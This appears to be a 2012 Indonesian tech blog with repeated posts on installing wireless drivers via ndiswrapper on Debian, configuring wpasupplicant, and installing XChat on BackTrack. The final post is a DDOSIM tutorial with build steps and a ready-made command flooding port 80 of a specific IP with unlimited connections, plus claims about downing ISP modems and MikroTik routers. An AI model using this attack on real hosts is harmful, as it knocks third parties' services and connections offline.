Selasa, 14 Agustus 2012
0
AcehCyber
Wireless on Debian
# aptitude install ndiswrapper-dkms
# ndiswrapper -i /full/path/to/WinXP/Driver/driver.inf
# ndiswrapper -m
# modprobe ndiswrapper
# aptitude install ndiswrapper-dkms
which will pull in all needed sources and dependencies in the process.
Those running Debian old-stable (Lenny) must install/compile by hand
CODE: SELECT ALL
# aptitude install module-assistant ndiswrapper-source ndiswrapper-utils
# m-a prepare
# m-a a-i ndiswrapper
Either way, you should now have the ndiswrapper.ko kernel module available in the /lib/modules/... tree for your current kernel. DKMS automatically reacts when installing a new kernel version; the manual procedure must be redone in that case.
2. Mount the CD that came with your device, or log in at the manufacturer's website, and find the Windows XP driver for it (Windows Vista or Windows 7 drivers may not work).
Important: if you're running a 64-bit system ("AMD64" kernel) then you'll need a 64-bit WinXP driver; a 32-bit version of the driver will not work in a 64-bit OS (even though it appears to install OK in Ndiswrapper).
The driver will be called something like <name>.inf; there may also be a companion .sys file in the same or the parent directory. If you're getting the driver from somewhere else, make sure to also get that companion file (when present) and put it in a directory that retains the relationship with the directory the .inf file is in (e.g. its parent directory, when appropriate). Write down the full path to the driver, like /media/cdrom/Driver/WINXP/<name>.inf.
3. Install the driver (still as root) into Ndiswrapper with
CODE: SELECT ALL
# ndiswrapper -i /media/cdrom/Driver/WINXP/<name>.inf
# ndiswrapper -m
# ndiswrapper -l
of course substituting the path in your own setup. That last command may also show an alternative driver, like ssb or b43. This poses a bit of a problem that we deal with in item 5. Assuming that you don't have this problem, continue with the next item.
4. Insert the module (still as root) with
CODE: SELECT ALL
# modprobe ndiswrapper
There should be no error messages from the modprobe command. If necessary, add ndiswrapper to /etc/modules for automatic insertion at boot. Next insert the wireless device, if you haven't already, and watch what happens with one or more of the commands
CODE: SELECT ALL
# iwconfig
# iwlist scan
# ifconfig
These commands should show the presence of the new wireless interface, like wlan0 (or ra0, etc), although not yet configured... but that's another story.
5. But what if that new wireless interface of the previous step doesn't show? This could happen when the ndiswrapper module isn't loaded early enough in the boot sequence, allowing another kernel module like ssb or b43 to take over. What to do?
Well, it could be that one of those additional modules is in fact a driver for your wireless device! This could be true for b43, in which case you wouldn't need ndiswrapper... but often the b43 driver doesn't work, so you do need ndiswrapper. If there is no other device using that module, then blacklisting it in /etc/modprobe.d/blacklist(.conf) could be tried: just add the module name, like ssb to the blacklist file with an editor. Note that blacklisting only takes effect after the command (as root)
CODE: SELECT ALL
# update-initramfs -u
If blacklisting is no option (only experience will tell) then putting ndiswrapper in /etc/modules may cause it to load earlier, but it may also be necessary to force that alternative driver (and drivers dependent on it) to load after the ndiswrapper driver. Using ssb as an example, make a little script /usr/local/bin/wireless
CODE: SELECT ALL
#!/bin/sh
rmmod ssb ndiswrapper
modprobe ndiswrapper
modprobe ssb
and make this script executable (as root) with the command
CODE: SELECT ALL
# chmod a+x /usr/local/bin/wireless
then call for it to be executed in /etc/rc.local or (if that's too late in the boot sequence) in a file like /etc/init.d/bootmisc.sh. In both cases, just add a line like
CODE: SELECT ALL
/usr/local/bin/wireless
to that file. You may have to experiment a bit until it works; for an example see the 11 May 2008 post by hellfire[bg] in this thread.
Finally, this all may not work whatever you try. In that case, assuming that you aren't mixing 32-bit and 64-bit stuff, you may just be out of luck. That could be the case with devices using the newer wireless 802.11n protocol, for which often only Windows Vista and/or Windows 7 drivers are available. Ndiswrapper development doesn't seem very active anymore, so don't hold your breath while waiting for the developers to address the chipset in your particular wireless device. Yes, life is hard sometimes, consider getting a wireless bridge or game adapter instead -- I'm using one myself.
Have fun!
This HOWTO has benefited from numerous suggestions by Debian users, especially the comments by mzilikazi are appreciated. Thx
Read More
# ndiswrapper -i /full/path/to/WinXP/Driver/driver.inf
# ndiswrapper -m
# modprobe ndiswrapper
# aptitude install ndiswrapper-dkms
which will pull in all needed sources and dependencies in the process.
Those running Debian old-stable (Lenny) must install/compile by hand
CODE: SELECT ALL
# aptitude install module-assistant ndiswrapper-source ndiswrapper-utils
# m-a prepare
# m-a a-i ndiswrapper
Either way, you should now have the ndiswrapper.ko kernel module available in the /lib/modules/... tree for your current kernel. DKMS automatically reacts when installing a new kernel version; the manual procedure must be redone in that case.
2. Mount the CD that came with your device, or log in at the manufacturer's website, and find the Windows XP driver for it (Windows Vista or Windows 7 drivers may not work).
Important: if you're running a 64-bit system ("AMD64" kernel) then you'll need a 64-bit WinXP driver; a 32-bit version of the driver will not work in a 64-bit OS (even though it appears to install OK in Ndiswrapper).
The driver will be called something like <name>.inf; there may also be a companion .sys file in the same or the parent directory. If you're getting the driver from somewhere else, make sure to also get that companion file (when present) and put it in a directory that retains the relationship with the directory the .inf file is in (e.g. its parent directory, when appropriate). Write down the full path to the driver, like /media/cdrom/Driver/WINXP/<name>.inf.
3. Install the driver (still as root) into Ndiswrapper with
CODE: SELECT ALL
# ndiswrapper -i /media/cdrom/Driver/WINXP/<name>.inf
# ndiswrapper -m
# ndiswrapper -l
of course substituting the path in your own setup. That last command may also show an alternative driver, like ssb or b43. This poses a bit of a problem that we deal with in item 5. Assuming that you don't have this problem, continue with the next item.
4. Insert the module (still as root) with
CODE: SELECT ALL
# modprobe ndiswrapper
There should be no error messages from the modprobe command. If necessary, add ndiswrapper to /etc/modules for automatic insertion at boot. Next insert the wireless device, if you haven't already, and watch what happens with one or more of the commands
CODE: SELECT ALL
# iwconfig
# iwlist scan
# ifconfig
These commands should show the presence of the new wireless interface, like wlan0 (or ra0, etc), although not yet configured... but that's another story.
5. But what if that new wireless interface of the previous step doesn't show? This could happen when the ndiswrapper module isn't loaded early enough in the boot sequence, allowing another kernel module like ssb or b43 to take over. What to do?
Well, it could be that one of those additional modules is in fact a driver for your wireless device! This could be true for b43, in which case you wouldn't need ndiswrapper... but often the b43 driver doesn't work, so you do need ndiswrapper. If there is no other device using that module, then blacklisting it in /etc/modprobe.d/blacklist(.conf) could be tried: just add the module name, like ssb to the blacklist file with an editor. Note that blacklisting only takes effect after the command (as root)
CODE: SELECT ALL
# update-initramfs -u
If blacklisting is no option (only experience will tell) then putting ndiswrapper in /etc/modules may cause it to load earlier, but it may also be necessary to force that alternative driver (and drivers dependent on it) to load after the ndiswrapper driver. Using ssb as an example, make a little script /usr/local/bin/wireless
CODE: SELECT ALL
#!/bin/sh
rmmod ssb ndiswrapper
modprobe ndiswrapper
modprobe ssb
and make this script executable (as root) with the command
CODE: SELECT ALL
# chmod a+x /usr/local/bin/wireless
then call for it to be executed in /etc/rc.local or (if that's too late in the boot sequence) in a file like /etc/init.d/bootmisc.sh. In both cases, just add a line like
CODE: SELECT ALL
/usr/local/bin/wireless
to that file. You may have to experiment a bit until it works; for an example see the 11 May 2008 post by hellfire[bg] in this thread.
Finally, this all may not work whatever you try. In that case, assuming that you aren't mixing 32-bit and 64-bit stuff, you may just be out of luck. That could be the case with devices using the newer wireless 802.11n protocol, for which often only Windows Vista and/or Windows 7 drivers are available. Ndiswrapper development doesn't seem very active anymore, so don't hold your breath while waiting for the developers to address the chipset in your particular wireless device. Yes, life is hard sometimes, consider getting a wireless bridge or game adapter instead -- I'm using one myself.
Have fun!
This HOWTO has benefited from numerous suggestions by Debian users, especially the comments by mzilikazi are appreciated. Thx
Posted in DriverLinux
Senin, 13 Agustus 2012
0
Senin, 13 Agustus 2012
AcehCyber
Langkah-langkah instalasi driver wireless di debian:
# aptitude update
# aptitude install module-assistant wireless-tools
#ifup wlan0
#/etc/xdg/autostart
Kemudian instalasi package wpasupplicant:
$ su
# aptitude update
# aptitude install wpasupplicant
WPA-PSK and WPA2-PSK
Berikan permision file di /etc/network/interfaces:
# chmod 0600 /etc/network/interfaces
Buka - /etc/network/interfaces dengan text editor:
# sensible-editor /etc/network/interfaces
#aptitude install module-assistant build-essential ndiswrapper-common ndiswrapper-utils
#m-a prepare
#m-a a-i ndiswrapper
#ndiswrapper -i /path/to/driver/rt73.inf
#modprobe ndiswrapper
#ifup wlan0
sumber : wikidebian
Read More
Instalasi Driver Wireless di Debian
Langkah-langkah instalasi driver wireless di debian:
# aptitude update
# aptitude install module-assistant wireless-tools
#ifup wlan0
#/etc/xdg/autostart
Kemudian instalasi package wpasupplicant:
$ su
# aptitude update
# aptitude install wpasupplicant
WPA-PSK and WPA2-PSK
Berikan permision file di /etc/network/interfaces:
# chmod 0600 /etc/network/interfaces
Buka - /etc/network/interfaces dengan text editor:
# sensible-editor /etc/network/interfaces
#aptitude install module-assistant build-essential ndiswrapper-common ndiswrapper-utils
#m-a prepare
#m-a a-i ndiswrapper
#ndiswrapper -i /path/to/driver/rt73.inf
#modprobe ndiswrapper
#ifup wlan0
sumber : wikidebian
Posted in DriverLinux
Minggu, 12 Agustus 2012
0
Minggu, 12 Agustus 2012
AcehCyber
Read More
Instalasi Xchat di Backtrack
root@bt:~# apt-get install xchat
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
libdmraid1.0.0.rc16 python-pyicu libdebian-installer4 cryptsetup libecryptfs0 reiserfsprogs rdate bogl-bterm ecryptfs-utils libdebconfclient0 dmraid keyutils
Use 'apt-get autoremove' to remove them.
The following extra packages will be installed:
launchpad-integration liblaunchpad-integration1 tcl tcl8.4 xchat-common
Suggested packages:
libgnome2-0 tclreadline
The following NEW packages will be installed:
launchpad-integration liblaunchpad-integration1 tcl tcl8.4 xchat xchat-common
0 upgraded, 6 newly installed, 0 to remove and 41 not upgraded.
Need to get 2,613kB of archives.
After this operation, 7,688kB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://32.repository.backtrack-linux.org/ revolution/main liblaunchpad-integration1 0.1.35 [19.5kB]
Get:2 http://all.repository.backtrack-linux.org/ revolution/main launchpad-integration 0.1.35 [13.4kB]
Get:3 http://all.repository.backtrack-linux.org/ revolution/main tcl 8.4.16-2 [4,154B]
Get:4 http://all.repository.backtrack-linux.org/ revolution/main xchat-common 2.8.6-4ubuntu5 [1,074kB]
Get:5 http://32.repository.backtrack-linux.org/ revolution/main tcl8.4 8.4.19-4 [1,183kB]
Get:6 http://32.repository.backtrack-linux.org/ revolution/main xchat 2.8.6-4ubuntu5 [319kB]
Fetched 2,613kB in 6min 7s (7,117B/s)
Selecting previously deselected package launchpad-integration.
(Reading database ... 204859 files and directories currently installed.)
Unpacking launchpad-integration (from .../launchpad-integration_0.1.35_all.deb) ...
Selecting previously deselected package liblaunchpad-integration1.
Unpacking liblaunchpad-integration1 (from .../liblaunchpad-integration1_0.1.35_i386.deb) ...
Selecting previously deselected package tcl8.4.
Unpacking tcl8.4 (from .../tcl8.4_8.4.19-4_i386.deb) ...
Selecting previously deselected package tcl.
Unpacking tcl (from .../archives/tcl_8.4.16-2_all.deb) ...
Selecting previously deselected package xchat-common.
Unpacking xchat-common (from .../xchat-common_2.8.6-4ubuntu5_all.deb) ...
Selecting previously deselected package xchat.
Unpacking xchat (from .../xchat_2.8.6-4ubuntu5_i386.deb) ...
Posted in Backtrack
0
AcehCyber
Read More
DDOSIM, DDOS layer 7 in Backtrack 5
download ddosim di http://sourceforge.net/projects/ddosim/files/ddosim-0.2.tar.gz/download
untuk yang belum punya libnet0-dev, install dulu dan langsung install ddosim nya
root@bt:~# apt-get install libnet0-dev
root@bt:~/ddosim# ./configure
root@bt:~/ddosim# make
root@bt:~/ddosim# make install
petunjuk penggunaan
# DDOSIM: Layer 7 DDoS Simulator v0.2 Usage: ddosim -d IP Target IP address -p PORT Target port [-k NET] Source IP from class C network (ex. 10.4.4.0) [-i IFNAME] Output interface name [-c COUNT] Number of connections to establish [-w DELAY] Delay (in milliseconds) between SYN packets [-r TYPE] Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO [-t NRTHREADS] Number of threads to use when sending packets (default 1) [-n] Do not spoof source address (use local address) [-v] Verbose mode (slower) [-h] Print this help message
contoh untuk ddos port 80 dengan type http_invalid dan serangan count 0 (atau unlimited) dan thread serangan 3
root@bt:~# ddosim -d 110.139.19.196 -p 80 -r HTTP_INVALID -c 0 -t 3
kesimpulan:
- DDOS modem speedy dengan type serangan http_invalid hanya butuh koneksi 10KBps
- DDOS mikrotik (kemungkinan besar RB) dengan koneksi mikrotik tsb dibawah koneksi si attacker, mengabitkan DROP connection.
sumber : gilakomputer.com
untuk yang belum punya libnet0-dev, install dulu dan langsung install ddosim nya
root@bt:~# apt-get install libnet0-dev
root@bt:~/ddosim# ./configure
root@bt:~/ddosim# make
root@bt:~/ddosim# make install
petunjuk penggunaan
# DDOSIM: Layer 7 DDoS Simulator v0.2 Usage: ddosim -d IP Target IP address -p PORT Target port [-k NET] Source IP from class C network (ex. 10.4.4.0) [-i IFNAME] Output interface name [-c COUNT] Number of connections to establish [-w DELAY] Delay (in milliseconds) between SYN packets [-r TYPE] Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO [-t NRTHREADS] Number of threads to use when sending packets (default 1) [-n] Do not spoof source address (use local address) [-v] Verbose mode (slower) [-h] Print this help message
contoh untuk ddos port 80 dengan type http_invalid dan serangan count 0 (atau unlimited) dan thread serangan 3
root@bt:~# ddosim -d 110.139.19.196 -p 80 -r HTTP_INVALID -c 0 -t 3
kesimpulan:
- DDOS modem speedy dengan type serangan http_invalid hanya butuh koneksi 10KBps
- DDOS mikrotik (kemungkinan besar RB) dengan koneksi mikrotik tsb dibawah koneksi si attacker, mengabitkan DROP connection.
sumber : gilakomputer.com
Posted in Backtrack 5
Langganan:
Postingan (Atom)
